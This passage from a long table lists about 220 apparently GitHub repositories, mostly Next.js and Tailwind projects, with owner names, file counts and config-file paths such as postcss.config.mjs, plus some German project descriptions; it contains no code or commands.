| | | | 236 | Harsimran-Nugen/assignment | Harsimran-Nugen | User | 0 | 0 | 1 | postcss.config.mjs | | | | 237 | cto-varun/user-crud-design-nextjs | cto-varun | User | 0 | 0 | 1 | postcss.config.mjs | | | | 238 | Aman-scripts/NugenEmployabilityTest | Aman-scripts | User | 0 | 0 | 1 | postcss.config.mjs | | | | 239 | akashstwt/inventory-management-majorproject | akashstwt | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 240 | akashstwt/TheGitcode | akashstwt | User | 0 | 0 | 1 | gitcodeweb/postcss.config.mjs | | | | 241 | Atif-Hameed/ALS-Panel | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 242 | umarabid123/store-forge | umarabid123 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 243 | addis-ale/discord | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 244 | addis-ale/hirecards-prod | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 245 | addis-ale/ega_updated | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 246 | addis-ale/group-match | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 247 | SanjayaPrasadRajapaksha/Hotel_Booking-Admin_Panel | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 248 | SanjayaPrasadRajapaksha/Todo_App | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | my-app/postcss.config.mjs | | | | 249 | PremShakti/Inventory-Todo-Manager | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 250 | fsdteam8/lowready-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 251 | badhon252/shift-scheduler | badhon252 | User | 0 | 0 | 1 | postcss.config.mjs | Entwickelt, um die Schichtplanung zu optimieren | | | 252 | fsdteam8/stevenar77-dashboard | fsdteam8 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 253 | Atif-Hameed/unsigned-frontend | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 254 | Atif-Hameed/social-admin | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 255 | Atif-Hameed/cybenty | Atif-Hameed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 256 | anthemnandani/ai | anthemnandani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 257 | mijanConnect/the-piegeon-hub-website | mijanConnect | User | 0 | 0 | 1 | postcss.config.mjs | | | | 258 | Button-20/juzbuild | Button-20 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 259 | HyderYash/my-progess-tracker | HyderYash | User | 0 | 0 | 1 | postcss.config.mjs | | | | 260 | MohamedH1000/course | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 261 | nipun-imesh/sample-react | nipun-imesh | User | 0 | 0 | 1 | postcss.config.mjs | | | | 262 | sayyamButt317/ishout | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 263 | rvmediacorp/Headshot-Portland-Official | rvmediacorp | User | 0 | 0 | 1 | postcss.config.mjs | | | | 264 | Sawjal-sikder/faceAi-front-end | Sawjal-sikder | User | 0 | 0 | 1 | postcss.config.mjs | | | | 265 | SanjayaPrasadRajapaksha/E-Commerce | SanjayaPrasadRajapaksha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 266 | Rahulkumarhavit/multi-tenant-architecture | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 267 | Mohsin-Javed48/connectors-nextJs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 268 | Axxi3/hennery | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 269 | UzairAhmedDahraj/clickup-nextjs-demo | UzairAhmedDahraj | User | 0 | 0 | 1 | postcss.config.mjs | | | | 270 | Mike-flowbiz/Flowbiz-backend | Mike-flowbiz | User | 0 | 0 | 1 | postcss.config.mjs | Backend-API für FlowBiz – Node.js, PostgreSQL, JWT, PDF-Service | | | 271 | phillipshepard1/internal-re-crm | phillipshepard1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 272 | mahadi-zulfiker/mz-events-frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Ein modernes, responsives und funktionsreiches Frontend für die Veranstaltungs- und Aktivitätenplattform, erstellt mit Next.js 14 und Tailwind CSS. Diese Anwendung bietet ein nahtloses Erlebnis für Benutzer, die Veranstaltungen entdecken, Veranstalter, die ihre Angebote verwalten, und Administratoren, die die Plattform überwachen. | | | 273 | fareed-aslam/capitalkv | fareed-aslam | User | 0 | 0 | 1 | CapitalKV-AI-master/frontend/postcss.config.mjs | | | | 274 | TimothyBabatu13/Stampchain | TimothyBabatu13 | User | 0 | 0 | 1 | stamp-chain/postcss.config.mjs | | | | 275 | iamanaskhan10/my-portfolio-nextjs | iamanaskhan10 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 276 | MatiasCuadra98/ai-excel | MatiasCuadra98 | User | 0 | 0 | 1 | apps/frontend/postcss.config.mjs | | | | 277 | manuel-spec/another-portfolio | manuel-spec | User | 0 | 0 | 1 | postcss.config.mjs | | | | 278 | kasunwathsala/Nextjs-Protfolio | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Eine lebendige, moderne und vollständig responsive Portfolio-Website, erstellt mit Next.js 14, TypeScript und Tailwind CSS. Enthält atemberaubende Gradientendesigns, flüssige Animationen und eine farbenfrohe Benutzeroberfläche, die Ihre Projekte und Fähigkeiten auf eine auffällige Weise präsentiert. | | | 279 | shayanwd/vts-nextjs | shayanwd | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 280 | JudeTejada/reactly | JudeTejada | User | 0 | 0 | 1 | apps/web/postcss.config.mjs | | | | 281 | fyunusa/video-tool | fyunusa | User | 0 | 0 | 1 | postcss.config.mjs | | | | 282 | TranDoanKhoe/Velvere | TranDoanKhoe | User | 0 | 0 | 5 | src/components_bonus/my-tab/postcss.config.mjs | src/components_bonus/my-app/postcss.config.mjs | src/components_bonus/my-select/postcss.config.mjs | src/components_bonus/my-button/postcss.config.mjs | src/components_bonus/my-calendar/postcss.config.mjs | | | | 283 | cywasay/leaders | cywasay | User | 0 | 0 | 1 | leaders-admin/postcss.config.mjs | | | | 284 | TimothyBabatu13/TokenMind | TimothyBabatu13 | User | 0 | 0 | 1 | token-mind/postcss.config.mjs | Smarte KI für Token | | | 285 | shani-techv1/source-app-v2 | shani-techv1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 286 | Mfahadk99/syssel-web-internal | Mfahadk99 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 287 | Nathanim1919/time-lens | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 288 | addis-ale/wetruck-shipper | addis-ale | User | 0 | 0 | 1 | postcss.config.mjs | | | | 289 | Romicha935/image-gallery | Romicha935 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 290 | Ali-Hamas/Todo-App | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 291 | MohamedH1000/philadelphia_university | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 292 | saifullah-max/surfchem | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 293 | ahnaafarafee/bionic-seven | ahnaafarafee | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | Offizielle Website von Bionic 7 – Biomedizintechnik, Stufe 7 der Islamischen Universität | | | 294 | malirazaansari/Protfolio_project | malirazaansari | User | 0 | 0 | 1 | postcss.config.mjs | Mein persönliches Portfolio | | | 295 | ayanmal1k/DragoPump | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | Solana Token-Website | | | 296 | Shumaim-Naseer-Kiyani/framer_project | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 297 | prosigns/dex-data-aggregation | prosigns | User | 0 | 0 | 1 | postcss.config.mjs | | | | 298 | MrSohaibAhmed/interview-assessment | MrSohaibAhmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 299 | roma2023/Snoonu | roma2023 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 300 | Mohsin-Javed48/nextjs-witd-oasis | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 301 | kasunwathsala/Caramel-Pudding-web | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | Eine Premium-E-Commerce-Plattform für den Verkauf von Karamellpudding, erstellt mit Next.js und shadcn/ui. Bietet ein vollständiges Einkaufserlebnis mit Produktkatalog, Warenkorb, Checkout und responsivem Design. Bereit für Zahlungsintegration und Skalierung mit Ihrer eigenen Datenbank. | | | 302 | mahadi-zulfiker/crm | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Ein Full-Stack, rollenbasiertes Rekrutierungsverwaltungssystem, das entwickelt wurde, um Einstellungsprozesse für Organisationen und HR-Teams zu optimieren. | | | 303 | humayun506034/ReviewHub-Client | humayun506034 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 304 | brianonbased-dev/BaseAppShop | brianonbased-dev | User | 0 | 0 | 1 | postcss.config.mjs | Brian Shopify-Store für Base App | | | 305 | sanjay10985/lead-generation-landing-page | sanjay10985 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 306 | Rahulkumarhavit/finance-advisor | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 307 | ayanmal1k/Sol-Market | ayanmal1k | User | 0 | 0 | 1 | postcss.config.mjs | | | | 308 | Mohsin-Javed48/dresscode-nextjs | Mohsin-Javed48 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 309 | Hriday-paul/anyjob-wellcome | Hriday-paul | User | 0 | 0 | 1 | postcss.config.mjs | | | | 310 | a-belard/rayyan | a-belard | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 311 | kasunwathsala/Service-marketplace | kasunwathsala | User | 0 | 0 | 1 | navbar-vite (3)/postcss.config.mjs | Eine umfassende Full-Stack-Webanwendung, die Kunden mit Dienstleistern in mehreren Kategorien verbindet, einschließlich eintägiger Dienstleistungen, Vertragsarbeiten und Teilzeitmöglichkeiten. | | | 312 | kasunwathsala/saloon-booking-system | kasunwathsala | User | 0 | 0 | 1 | salon-booking-system/postcss.config.mjs | Eine moderne, responsive Salon-Buchungswebsite, erstellt mit Next.js und React. Dieses umfassende Beauty-Salon-Management-System bietet Dienstleistungslisten, Stylistenprofile, mehrstufige Terminbuchung, Kundenstimmen und Kontaktverwaltung. | | | 313 | Nathanim1919/becoming | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 314 | Adithyahewage/portfolio_website | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | | | | 315 | Ali-Hamas/Website-Todo | Ali-Hamas | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 316 | MohamedH1000/Mersal | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 317 | MohamedH1000/cruise | MohamedH1000 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 318 | kasunwathsala/portfolio-2026 | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 319 | mahadi-zulfiker/SpaceZee | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Website | | | 320 | mahadi-zulfiker/REPLIQ-Limited-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Link | | | 321 | ahmadraza382/E-commerce-website | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 322 | Rahulkumarhavit/carmarket-place | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 323 | Rahulkumarhavit/Nextjs-productivity | Rahulkumarhavit | User | 0 | 0 | 1 | postcss.config.mjs | | | | 324 | tanushka1726/react_next | tanushka1726 | User | 0 | 0 | 1 | postcss.config.mjs | Reader Website ist eine moderne, responsive Webanwendung, die mit Next.js und TypeScript erstellt wurde und Bücher mit einer flüssigen Benutzererfahrung präsentiert und erkundet. Sie bietet dynamisches Routing, wiederverwendbare Komponenten und ist vollständig für den öffentlichen Zugang bereitgestellt. Ideal für Leser, Buchliebhaber oder Inhaltsplattformen, die ein interaktives Leseerlebnis suchen. | | | 325 | Sameer447/O2_app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 326 | dmytro-chushko/portfolio-dev-dc | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | | | | 327 | Axxi3/ladyfoxx | Axxi3 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 328 | Vladyslav0060/autopartner | Vladyslav0060 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 329 | PremShakti/jewelry-kiosk | PremShakti | User | 0 | 0 | 1 | postcss.config.mjs | | | | 330 | theeurbanlegend/Hackathon-Submission | theeurbanlegend | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 331 | SouravDn-p/NextManager-YourInventory-Manager | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Next.js Inventarverwaltung Ein Full-Stack-Inventarverwaltungssystem, erstellt mit Next.js 14 App Router, Tailwind CSS, MongoDB und Redux Toolkit (RTK Query). Diese App unterstützt sowohl soziale Authentifizierung über NextAuth.js (Google, GitHub) als auch traditionelle E-Mail/Passwort-Anmeldung mit JWT. | | | 332 | abdullah2310ishaq/zeebuddy | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 333 | JudeTejada/project-monitoring | JudeTejada | User | 0 | 0 | 1 | postcss.config.mjs | | | | 334 | salwaaliakbar/my-portfolio | salwaaliakbar | User | 0 | 0 | 1 | postcss.config.mjs | | | | 335 | abdullah2310ishaq/company | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 336 | wahab3913/kalibar-manger1 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 337 | ninjadevhub/Flood-Risk-Mapper | ninjadevhub | User | 0 | 0 | 1 | postcss.config.mjs | | | | 338 | trobits/trobits-frontend | trobits | User | 0 | 0 | 1 | postcss.config.mjs | | | | 339 | Shumaim-Naseer-Kiyani/ai_landing_page | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 340 | ChiraniSiriwardhana/Portfolio | ChiraniSiriwardhana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 341 | carrantal/frontend | carrantal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 342 | Nathanim1919/atlas | Nathanim1919 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 343 | asadullah-kazmi/syncspace | asadullah-kazmi | User | 0 | 0 | 1 | frontend/postcss.config.mjs | Eine Echtzeit-Kollaborationsplattform, erstellt mit Next.js, WebSockets und CRDTs (Yjs), die kollaborative Dokumentenbearbeitung mit konfliktfreier Zustandssynchronisation und niedriger Latenz ermöglicht. | | | 344 | usman-174/form-pdf | usman-174 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 345 | evenwalser/FinalPaperclipPro | evenwalser | User | 0 | 0 | 1 | postcss.config.mjs | Für Hetal, um zu Paperclip Vercel zu migrieren | | | 346 | huzzy12/portfolio | huzzy12 | User | 0 | 0 | 1 | postcss.config.mjs | Meine Portfolio-Website | | | 347 | Sameer447/my-app | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 348 | wahab3913/kalibar | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 349 | sybotstackdev/Portfolio | sybotstackdev | User | 0 | 0 | 1 | postcss.config.mjs | | | | 350 | NEERAJ131124/pisync-fe | NEERAJ131124 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 351 | RazaAkmal/frontend-test | RazaAkmal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 352 | kasunwathsala/Loomistore | kasunwathsala | User | 0 | 0 | 1 | postcss.config.mjs | | | | 353 | um8r/bridge-master-fyp | um8r | User | 0 | 0 | 1 | postcss.config.mjs | | | | 354 | RathodDeven/danz-web | RathodDeven | User | 0 | 0 | 1 | postcss.config.mjs | | | | 355 | Gowreesh-VT/OnlyFoundersV2 | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 356 | garrycha/test-job | garrycha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 357 | wasi2320/ctk-new | wasi2320 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 358 | sayyamButt317/hire-with-tess-frontend | sayyamButt317 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 359 | Al-amin07/bigso_app | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 360 | shermuhammad786/gs-hackathon | shermuhammad786 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 361 | smit455/big_bazaar-store | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 362 | jbaze/borec-basket-claude | jbaze | User | 0 | 0 | 1 | postcss.config.mjs | | | | 363 | Al-amin07/project-9-client | Al-amin07 | User | 0 | 0 | 3 | postcss.config.mjs | tailwind.config.js | eslint.config.mjs | | | | 364 | farihulrouf/orcx_fe | farihulrouf | User | 0 | 0 | 1 | postcss.config.mjs | | | | 365 | wahab3913/kalibar-m2 | wahab3913 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 366 | finom/realtime-kanban | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 367 | rejoan121615/heritage-trial-overlay | rejoan121615 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 368 | Ruwanima/Portfolio | Ruwanima | User | 0 | 0 | 1 | postcss.config.mjs | | | | 369 | Lithira-Sasmitha/social_app | Lithira-Sasmitha | User | 0 | 0 | 1 | postcss.config.mjs | | | | 370 | coderkhalide/selorax-canvas | coderkhalide | User | 0 | 0 | 1 | apps/canvas-v2/postcss.config.mjs | | | | 371 | Button-20/juzbuild-background-processor | Button-20 | User | 0 | 0 | 1 | templates/homely/postcss.config.mjs | | | | 372 | Muhammadfaizanjanjua109/frammerMotion | Muhammadfaizanjanjua109 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 373 | AHAdd40451/task-sheet | AHAdd40451 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 374 | zaheerahmad92001/pettro | zaheerahmad92001 | User | 0 | 0 | 1 | postcss.config.mjs | pettro für Tierliebhaber | | | 375 | MahadA456/mahad-portfolio | MahadA456 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 376 | Joyeta-Mondal/Sparktech-Agency-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 377 | webprogramminghack/b3-practice-31 | webprogramminghack | User | 0 | 0 | 1 | postcss.config.mjs | | | | 378 | Adithyahewage/Salon-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Demoprojekt für einen Salon-Kunden | | | 379 | akashstwt/eth-global-cryptowiki | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 380 | Gowreesh-VT/AWS-Web-Dev | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 381 | dynamicdreamz1/startup-voyager | dynamicdreamz1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 382 | farhanmasood-se/live-docs | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | | | | 383 | dmytro-chushko/form-editor | dmytro-chushko | User | 0 | 0 | 1 | postcss.config.mjs | Eine Next.js-Anwendung zum Erstellen, Veröffentlichen und Sammeln von Einreichungen für benutzerdefinierte Formulare. Sie enthält einen authentifizierten Admin-Bereich mit einem Drag-and-Drop-Editor und eine öffentliche Formularerfahrung. | | | 384 | Sameer447/launchpad-incubator-backend | Sameer447 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 385 | SouravDn-p/Advance-HealthCare-Next-Level-of-Smarter-Better-Health | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Erweiterter Gesundheitsdienst || Eine vollständige All-in-One-Digital-Gesundheitsplattform, die Online-Konsultationen, sichere Gesundheitsakten, E-Rezepte, intelligente Symptombewertung und personalisierte Patientenversorgung bietet – alles aus einem nahtlosen Web-Erlebnis. | | | 386 | SouravDn-p/Scribe-AI-Powered-Note-Taking-App | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 387 | SouravDn-p/multi-form-transaction | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Eine kurze Transaktions-Demo-Plattform | | | 388 | SouravDn-p/authjs-next-authentications | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | | | | 389 | abdullah2310ishaq/qudrat | abdullah2310ishaq | User | 0 | 0 | 1 | admin-panel/postcss.config.mjs | | | | 390 | SouravDn-p/PathFinder---Smarter-Admissions-Simpler-Bookings | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | PathFinder – Smarter Admissions, Simpler Bookings Eine Full-Stack-Next.js-App für College-Zulassungsbuchungen. Funktionen umfassen Collegesuche, Bewerbungsformulare, Bewertungen, Profilverwaltung und JWT-basierte Authentifizierung. | | | 391 | abdullah2310ishaq/resposive-doctor-websote | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 392 | abdullah2310ishaq/ecommerce_jewellery_store | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 393 | Al-amin07/pioneer | Al-amin07 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 394 | smit455/big_bazaar-admin | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 395 | smit455/Task_manager | smit455 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 396 | dhruvmalik007/Stratavault | dhruvmalik007 | User | 0 | 0 | 2 | apps/web/postcss.config.mjs | packages/ui/postcss.config.mjs | Anwendung für die Einreichung bei Ethglobal Hackmoney 2026: Aufbau der Agent-Erlebnisplattform, um mühelos in Prognosemärkte zu investieren | | | 397 | finom/blok | finom | User | 0 | 0 | 1 | postcss.config.mjs | | | | 398 | rejoan121615/website-generator | rejoan121615 | User | 0 | 0 | 1 | packages/dashboard/postcss.config.mjs | | | | 399 | abdullah2310ishaq/personal-portfolio | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 400 | Joyeta-Mondal/arklab-ai-assessment | Joyeta-Mondal | User | 0 | 0 | 1 | postcss.config.mjs | | | | 401 | Adithyahewage/Gym-demo | Adithyahewage | User | 0 | 0 | 1 | postcss.config.mjs | Demoprojekt für einen Fitnessstudio-Kunden | | | 402 | Gowreesh-VT/VITopoly | Gowreesh-VT | User | 0 | 0 | 1 | postcss.config.mjs | | | | 403 | farhanmasood-se/slack-clone | farhanmasood-se | User | 0 | 0 | 1 | postcss.config.mjs | Arbeiten Sie mit Ihrem Team mit Echtzeit-Nachrichten, Rich-Text-Editor und Emoji-Unterstützung in dieser Slack-ähnlichen App zusammen, die mit Next.js, Convex und Shadcn UI erstellt wurde. | | | 404 | Socheema/clot | Socheema | User | 0 | 0 | 1 | postcss.config.mjs | Kaufen Sie die besten Modeartikel mit Clot | | | 405 | Shumaim-Naseer-Kiyani/project1 | Shumaim-Naseer-Kiyani | User | 0 | 0 | 1 | postcss.config.mjs | | | | 406 | Muhammad-Hammad-Abbasi/next.js-hackathon | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | Hackathon eines Figma-Webdesigns. | | | 407 | Germs31/small-traslator-ai | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 408 | prudywn/GrowthProject | prudywn | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 409 | FaizaFarooq23/photo-gallery | FaizaFarooq23 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 410 | dbankston2409/Sober-Deck | dbankston2409 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 411 | mahadi-zulfiker/Nextjs-Prisma-Portfolio-Frontend | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Website | | | 412 | seemab-ahmed/blockdag | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 413 | abdullah2310ishaq/zee-admin | abdullah2310ishaq | User | 0 | 0 | 1 | postcss.config.mjs | | | | 414 | lnbglondoncoin/lnbglondon | lnbglondoncoin | User | 0 | 0 | 1 | postcss.config.mjs | | | | 415 | ahmadraza382/Ferrano | ahmadraza382 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 416 | JPChoyon/bikeBotics | JPChoyon | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 417 | Anas-Ali-3673/caa-interface | Anas-Ali-3673 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 418 | akashstwt/fleek | akashstwt | User | 0 | 0 | 1 | postcss.config.mjs | | | | 419 | wolfstudiosai/havocker | wolfstudiosai | User | 0 | 0 | 1 | postcss.config.mjs | | | | 420 | mdemong87/theamfisher-assignment | mdemong87 | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 421 | eftakhar-491/L-2_B-6-Assignment-4-frontend | eftakhar-491 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 422 | mohsulthana/yc-directory-nextjs | mohsulthana | User | 0 | 0 | 1 | postcss.config.mjs | | | | 423 | deepaksh798/dashboard-second | deepaksh798 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 424 | mahadi-zulfiker/Hishabee_Frontend_Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Site | | | 425 | Ibraz94/inventory_management_system | Ibraz94 | User | 0 | 0 | 1 | frontend/postcss.config.mjs | | | | 426 | mdnuruzzamannirob/your-capture-awards | mdnuruzzamannirob | User | 0 | 0 | 1 | postcss.config.mjs | | | | 427 | Germs31/expense-tracking | Germs31 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 428 | Adharshms/builder | Adharshms | User | 0 | 0 | 2 | postcss.config.mjs | eslint.config.mjs | | | | 429 | Nathanim1919/Avaitor-game | Nathanim1919 | User | 0 | 0 | 1 | client/postcss.config.mjs | | | | 430 | saifullah-max/Navo-1 | saifullah-max | User | 0 | 0 | 1 | postcss.config.mjs | | | | 431 | kanchana404/web | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 432 | kanchana404/kaidenz-clothing | kanchana404 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 433 | Muhammad-Hammad-Abbasi/persnol_portfolio_2 | Muhammad-Hammad-Abbasi | User | 0 | 0 | 1 | postcss.config.mjs | Persönliches Portfolio | | | 434 | Salman1205/MailAssists-CRM | Salman1205 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 435 | SouravDn-p/Innovative-task-sd246 | SouravDn-p | User | 0 | 0 | 1 | postcss.config.mjs | Eine taskEarn-Website | | | 436 | mahadi-zulfiker/PH-Job-Task-Web-Instructor | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Website | | | 437 | mahadi-zulfiker/Raintor-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Website | | | 438 | mahadi-zulfiker/SparkTech-Job-Task | mahadi-zulfiker | User | 0 | 0 | 1 | postcss.config.mjs | Live-Site | | | 439 | seemab-ahmed/oradentclinic-website | seemab-ahmed | User | 0 | 0 | 1 | postcss.config.mjs | | | | 440 | AhmadRazaKhokhar1/url-shortner-frontend | AhmadRazaKhokhar1 | User | 0 | 0 | 1 | postcss.config.mjs | | | | 441 | nipun-imesh/Fly-connects-web-FN | nipun-imesh | User | 0 | 0 | 1 | tailwind.config.js | | | | 442 | Barosz30/Portfolio | Barosz30 | User | 0 | 0 | 1 | tailwind.config.js | | | | 443 | web-ghoul/movie-app | web-ghoul | User | 0 | 0 | 1 | tailwind.config.js | | | | 444 | Dawit212119/DMS | Dawit212119 | User | 0 | 0 | 1 | client/tailwind.config.js | Nextjs, Express, Prisma | | | 445 | Al-amin07/project_4_frontend | Al-amin07 | User | 0 | 0 | 1 | tailwind.config.js | | | | 446 | zeeshanrafiqrana/metropolis-arena-frontend | zeeshanrafiqrana | User | 0 | 0 | 1 | tailwind.config.js | Metropolis Arena Interaktive Veranstaltungssitzplatzkarte – Front-End-Hausaufgabe | | | 447 | Wasee-Ur-Rehman/DarziXpress | Wasee-Ur-Rehman | User | 0 | 0 | 1 | client/tailwind.config.js | Online-Schneider- und Kleidungsänderungsservice | | | 448 | Flitzinteractive/FlitzSpace | Flitzinteractive | User | 0 | 0 | 1 | client/tailwind.config.js | | | | 449 | addygeek/Walmart-Inventory-Clearance-Optimizer | addygeek | User | 0 | 0 | 1 | frontend/tailwind.config.js | Intelligentes Inventar- und Ablaufverwaltungs-Dashboard für Einzelhandelsgeschäfte wie Walmart – erkennen, verfolgen und optimieren Sie Ausverkaufsartikel mit Dringlichkeitsbewertung und rollenbasiertem Zugriff. | | | 450 | Iambilalfaisal/Portfolio | Iambilalfaisal | User | 0 | 0 | 1 | tailwind.config.js | Mein Portfolio | | | 451 | malikjunaidhassann/updated-calcos-frontend | malikjunaidhassann | User | 0 | 0 | 1 | tailwind.config.js | | | | 452 | SimalChaudhari/plusfive | SimalChaudhari | User | 0 | 0 | 1 | tailwind.config.js | plusfive | | | 453 | Hassam-01/Forsit-task | Hassam-01 | User | 0 | 0 | 1 | tailwind.config.js | | | | 454 | shahvezjumani/chat_app | shahvezjumani | User | 0 | 0 | 1 | tailwind.config.js | | | | 455 | hunain25/QuickFistAid | hunain25 | User | 0 | 0 | 1 | tailwind.config.js | | | | 456 | cyhammad/rapid-appliances-repairs | cyhammad | User | 0 | 0 | 1 | tailwind.config.js | | | | 457 | MohamedH1000/ethaq_ecommerce_admin | MohamedH1000 | User | 0 | 0 | 1 | tailwind.config.js | | 